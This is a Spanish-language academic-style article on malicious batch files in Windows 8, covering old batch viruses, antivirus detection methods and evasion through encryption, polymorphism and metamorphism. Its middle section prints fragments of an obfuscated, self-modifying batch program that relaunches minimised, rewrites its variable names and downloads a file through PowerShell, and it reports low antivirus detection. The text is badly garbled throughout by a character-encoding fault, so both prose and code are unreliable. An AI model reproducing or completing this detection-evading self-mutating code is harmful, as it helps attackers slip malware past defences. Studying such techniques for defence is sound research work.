Anlisis esttico de archivos de comandos por lotes maliciosos:
Vulnerabilidades latentes en Windows 8?
Jorge Lezcano
Resumen Este articulo pretende demostrar como, trabajando sobre la ltima iteracin del sistema operativo Windows (Windows 8! a octubre de "#!$%, los arc&ivos de comandos por lotes aun representan una amenaza latente tanto a la privacidad como al correcto 'uncionamiento de los sistemas in'orm(ticos de los usuarios de Windows )s* tambi+n se e,ponen ciertas t+cnicas -ue an siguen siendo viables para la evasin de los anti.virus
/ntroducci n 0esde la publicacin del 1R2)3 en !485 por Ral' 2urger en su libro 6Das grosse Computerviren-Buch7, el rol de los arc&ivos de comandos por lotes como so'tware malicioso &a sido m(s -ue todo trivial, 8a -ue estos raramente proponen una amenaza seria dada su simplicidad9 estos generalmente no son capaces de esparcirse r(pidamente a trav+s de dispositivos, as*, las in'ecciones de estos se limitan a pe-ue:as (reas )&ora bien, el uso de estos como cdigo malicioso generalmente se &a dado por la inclusin o 6encapsulamiento7 de otros tipos de cdigo, como por ejemplo el ensamblador ;ablando entonces de este 6encapsulamiento7 de cdigo, vemos -ue &a sido a trav+s del poder de los programas en ensamblador, adem(s del &ec&o de -ue las versiones tempranas de Windows utilizaban arc&ivos por lotes como parte estructural del sistema operativo, 'ue -ue los arc&ivos por lotes llegaron a proponer, en algn momento, una amenaza de seguridad a los sistemas in'orm(ticos 1eamos entonces el 'uncionamiento comn de estos arc&ivos maliciosos en sus primeras etapas< @ECHO OFF REM <binary code> copy %0 b.com>nul b.com del b.com rem <binary code>
Este virus (2)3=)>%, por ejemplo, demostr interesantes capacidades de los arc&ivos por lotes como so'tware malicioso Lo -ue &izo interesante a este virus 'ue el &ec&o de -ue este era capaz de instalarse a s* mismo en la memoria 8a -ue conten*a cdigo ensamblador en 'orma binaria dentro de sus l*neas )s*, este arc&ivo por lotes pod*a copiarse a s* mismo como un arc&ivo ?@= 8 ejecutarse como arc&ivo ?@= 8a -ue las primeras l*neas del cdigo al traducirse a lenguaje de ma-uina no ten*an ningn tipo de e'ecto signi'icativo en el comportamiento del virus, como podemos ver a continuacin<
Text Code ----------------------------------- @ INC AX E INC BP C INC BX H DEC AX O DEC DI <space>OF AND [BX+46],CL F INC SI <enter><text line>R OR AX,520A E INC BP M DEC BP
La primera parte del cdigo binario inclu*a un salto a parte 'inal del cdigo binario la cual conten*a los comandos para instalar el virus en la memoria 0e esta 'orma, sin veri'icar el estado de la memoria antes de instalarse, el virus se reinstalaba en la memoria cada vez -ue un arc&ivo in'ectado se ejecutaba, poco a poco consumiendo la memoria )s*, el virus monitoreaba las operaciones de escritura de arc&ivos mientras estaba en memoria, esperando -ue se realizara la escritura de un arc&ivo por lotes, el cual luego este in'ectaba ) medida -ue los a:os pasaban 8 Windows se reinventaba, los arc&ivos por lotes 'ueron dejando su 'uncin estructural para el sistema operativo 8 pasaron a ser no m(s -ue una &erramienta para la automatizacin de tareas administrativas 8 un juguete para curiosos -ue encontraban en los arc&ivos por lotes una 'orma simple de jugar con la estabilidad del sistema operativo sin la necesidad de tener conocimientos avanzados relacionados con programacin o con la ar-uitectura del sistema operativo Ain embargo, dada la naturaleza del sistema, nunca dej de e,istir para los arc&ivos de comandos por lotes, la capacidad de encapsular cdigo ejecutable de otros lenguajes, como por ejemplo el 12A (1isual 2asic Acript% con el cual en el a:o "### un estudiante de ciencias computacionales 'ilipino causo numerosos da:os a escala mundial a sistemas in'orm(ticos liberando el gusano 6/L@1EB@C7 Los sistemas in'orm(ticos siguieron evolucionando 8 aun-ue la importancia de los arc&ivos de comando por lotes deca8 considerablemente, su simplicidad, la combinacin de simples aspectos de seguridad del sistema operativo 8 la adicin de nuevas &erramientas al sistema operativo siguen proponiendo para nuevas generaciones de programadores 8 entusiastas una 'orma de crear amenazas a la seguridad 8 privacidad de los sistemas in'orm(ticos actuales como veremos a continuacin
3+cni cas de prevenci n de vi rus )s* como la creacin de programas para la prevencin de cdigos maliciosos, la deteccin por 'irmas apareci desde el principio como la 'orma lgica de detectar cdigos maliciosos, convirti+ndose as* en una de las 'ormas m(s populares de detectar virus Esta consiste en analizar los arc&ivos compar(ndolos contra bases de datos las cuales contienen patrones de bits los cuales son comunes encontrar en virus Dor ejemplo, un arc&ivo in'ectado por 6W$"Ejemplo)7 indica el siguiente patrn de bits como 'irma Nombre del virus: W32.Ejemplo.A Byte de Firma: 0A 8E 91 82 8 !" #2 El esc(ner busca este patrn en el arc&ivo completo 8 si lo encuentra lo declara como virus @tra t+cnica mu8 utilizada para la prevencin de virus es el an(lisis &eur*stico en el -ue generalmente se realiza una emulacin de una corrida para determinar el comportamiento del arc&ivo analizado al ejecutarse 0e esta 'orma, si el esc(ner detecta instrucciones 6virales7 marca al arc&ivo analizado como virus
3+cni cas para l a )nti .0etecci n Aiempre decimos -ue para -ue el 6bien7 e,ista, debe e,istir el 6mal7 >osotros podemos decir -ue por cada persona tratando de &acer m(s seguro un sistema in'orm(tico e,iste una alta probabilidad de -ue e,ista al menos una persona pensando en cmo romper la seguridad de los sistemas in'orm(ticos 8 -ue eventualmente las soluciones de seguridad siempre ser(n rotas Encriptacin Es la 'orma m(s simple de lidiar con los programas de antivirus ?onsiste en encriptar el cuerpo del virus de tal 'orma -ue se pueda ocultar cual-uier patrn de bit -ue pueda identi'icar al 'ic&ero como virus )s*, el virus cuenta con un mdulo decriptor para desencriptar el cdigo del virus al ejecutarlo El cuerpo encriptado del virus ser( di'erente cada in'eccin sin embargo el mdulo decriptor an puede ser identi'icado Polimorfismo Es una de las t+cnicas m(s complejas implementadas por los creadores de virus para sobreponerse a las desventajas de la encriptacin Esta t+cnica consiste en modi'icar la lgica del mdulo decriptor adem(s de modi'icar la encriptacin del cuerpo del virus Esto &ace -ue esta t+cnica sea m(s e'ectiva -ue la encriptacin Dara la deteccin de estos virus, el antivirus debe buscar patrones caracter*sticos de todos los decriptores posibles as* como utilizar t+cnicas &eur*sticas -ue le permitan observar la actividad viral del programa Metamorfismo Es una t+cnica en la -ue no se utilizan descriptores ni cdigo encriptado Esta lo -ue &ace es cambiar la estructura completa del virus sin a'ectar el comportamiento 'uncional de este utilizando t+cnicas de o'uscacin de cdigo tanto para la seccin de datos como para el control de 'lujo del programa La t+cnica de o'uscacin del cdigo de 'lujo de control del virus involucra la transposicin de cdigo, insercin de cdigo basura, sustitucin de cdigo e-uivalente, renombramiento de registros 8 permutacin de subrutinas
=etamor'i smo en arc&i vos por l otes El primer virus metamr'ico en batc& 'ue creado en !444 por 6GliTCH7 en su art*culo llamado 6GliTCH's Polymorphic Batch Tutorial7, en el -ue m(s -ue un virus polimr'ico como sugiere el nombre del art*culo, se presenta el cdigo de un virus -ue tiene la &abilidades de permutar sus subrutinas utilizando marcadores B aun-ue la t+cnica 'uncionaba, no tuvo muc&o +,ito 8a -ue el tama:o del virus aumentaba demasiado cada nueva generacin Ain embargo, esto dio paso a la creacin de nuevas t+cnicas basadas en este principio de la utilizacin de marcadores dentro del 'ic&ero
Ai bien es cierto -ue el cdigo esta o'uscado podemos advertir, pas(ndolo por un servicio de an(lisis de arc&ivos en l*nea, -ue solo el !!E de los antivirus lo &an clasi'icado como virus por an(lisis de comportamiento, sin embargo aun-ue en realidad el cdigo no represente ninguna amenaza de seguridad veremos -ue lo -ue este logra &acer es en cierto punto, preocupante )l ejecutar el 'ic&ero se ve -ue por un instante aparece una ventana de la consola -ue luego desaparece, as* mismo luego de unos instante aparece en el directorio en el -ue se encontraba el 'ic&ero apareci otro 'ic&ero llamado 6img!pg7 =(s interesante aun es revisar el cdigo del 'ic&ero luego de &aberlo ejecutado varias veces Ae aprecia como el cdigo &a cambiado, desde los nombres de las variables &asta la estructura misma del cdigo<
2usca en el 'ic&ero 6H7 la cadena 6mE!7 (donde E! es el par(metro%, si la encuentra entonces establece la variable 6a7 como 6a I JoK7, sino como 6a I J,K7 3iene como marcador 6mcmp7 @set sdjf=fictsoehnd %ini% @set agnvl=%sdjf:~4,1%%sdjf:~6,1%%sdjf:~3,1% %ini% @%agnvl%egnkv=%sdjf:~6,1%%sdjf:~2,1%%sdjf:~7,1%%sdjf:~5,1% %ini% @%agnvl%fsdhf=%sdjf:~0,2%%sdjf:~8,2% %ini% @%egnkv%off %ini% @%agnvl: =%local enabledelayedexpansion %ini% @if %1'==$' (goto :nxxt) else (start /min cmd /c %0 $&& exit) %ini% :nxxt %ini% call : jvnsaf %ini%
/nicializa las variables del programa 8 veri'ica -ue este se est+ ejecutando de 'orma minimizada, si no es as*, lo inicia nuevamente pero minimizado )dem(s llama a la subrutina 6jvnsa'7 3iene como marcador 6ini7
Rutina 6jvnsa'7 /nicia de 'orma minimizada un comando por la powers&ell el cual descarga el 'ic&ero 6trianglejpg7 8 lo guarda en el director local como 6imgjpg7 3iene como marcador 6m#7
%fsdhf%"ini"<%0>$ %ini% :rnd_b %ini% call :rnd %ini% :buc %ini% %fsdhf%"m%r: =%"<$>nul %ini% if %errorlevel%==0 goto :tst %ini% %fsdhf%"m%r: =%"<%0>>$ %ini% %agnvl%/a rdnmm=%random%*9999999 %ini% 2usca dentro de s* mismo el marcador 6ini7 8 crea un nuevo arc&ivo llamado 6H7 donde almacena todas las l*neas -ue contienen tal marcador Ctilizando la 'uncin 6rnd7 introduce en 6H7 de 'orma aleatoria las l*neas conteniendo los marcadores 6mL7 (donde L es un entero entre # 8 4% as* como l*nea de cdigo basura Luego de esto introduce dentro de 6H7 las l*neas con los %egnkv%::%rdnmm% %%m%r: =%%%>>$ %ini% :tst %ini% %agnvl%a=1 %ini% for /L %%a in (0,1,9) do call :cmp %%a %ini% %egnkv%%a%|%fsdhf% "o">nul %ini% if %errorlevel%==0 goto :rnd_b %ini% for %%a in (cmp rnd) do (set a=%%a %ini% %fsdhf%"m!a: =!"<%0>>$) %ini% type $>%0&& ping -n 1 localhost>nul %ini%
marcadores 6mcmp7 8 6mrnd7 Luego copia 6H7 a s* mismo 8 espera un momento 3iene como marcador 6ini7
Luego de ese momento crea un 'ic&ero 12A el cual es un script -ue substitu8e en el 'ic&ero original los nombres especi'icados de las variables por otros generados de 'orma aleatoria Luego solo elimina tanto el 'ic&ero 12A como el 6H7
Entonces podemos ver -ue, sin ningn tipo de control ni restricciones, el 'ic&ero de pruebas &a podido utilizar t+cnicas de o'uscacin para modi'icarse a si mismo adem(s de &aber descargado un arc&ivo de internet
?oncl usi n El manejo de arc&ivos, la 'alta de control 8 la posible implementacin de t+cnicas apropiadas de propagacin as* como el acceso a nuevas 8 poderosas &erramientas como la DowerA&ell siguen manteniendo &o8 en d*a la posibilidad de -ue los arc&ivos de comandos por lotes sigan representando una amenaza para la seguridad 8 la estabilidad de los sistemas in'orm(ticos de los usuarios de Windows Re'erenci as ! = Datel, "imilarity Tests for Metamorphic #irus Detection, =a8o "#!! " ? >ac&enberg, $n%erstan%ing an% Managing Polymorphic #iruses& '(() $ 1L ;eavens, M&ttp<NNv,&eavenscomNO P Aecond Dart 3o ;ell, M&ttp<NNspt&viriiluNmain&tmO Q 1irustotal, M&ttps<NNwwwvirustotalcomO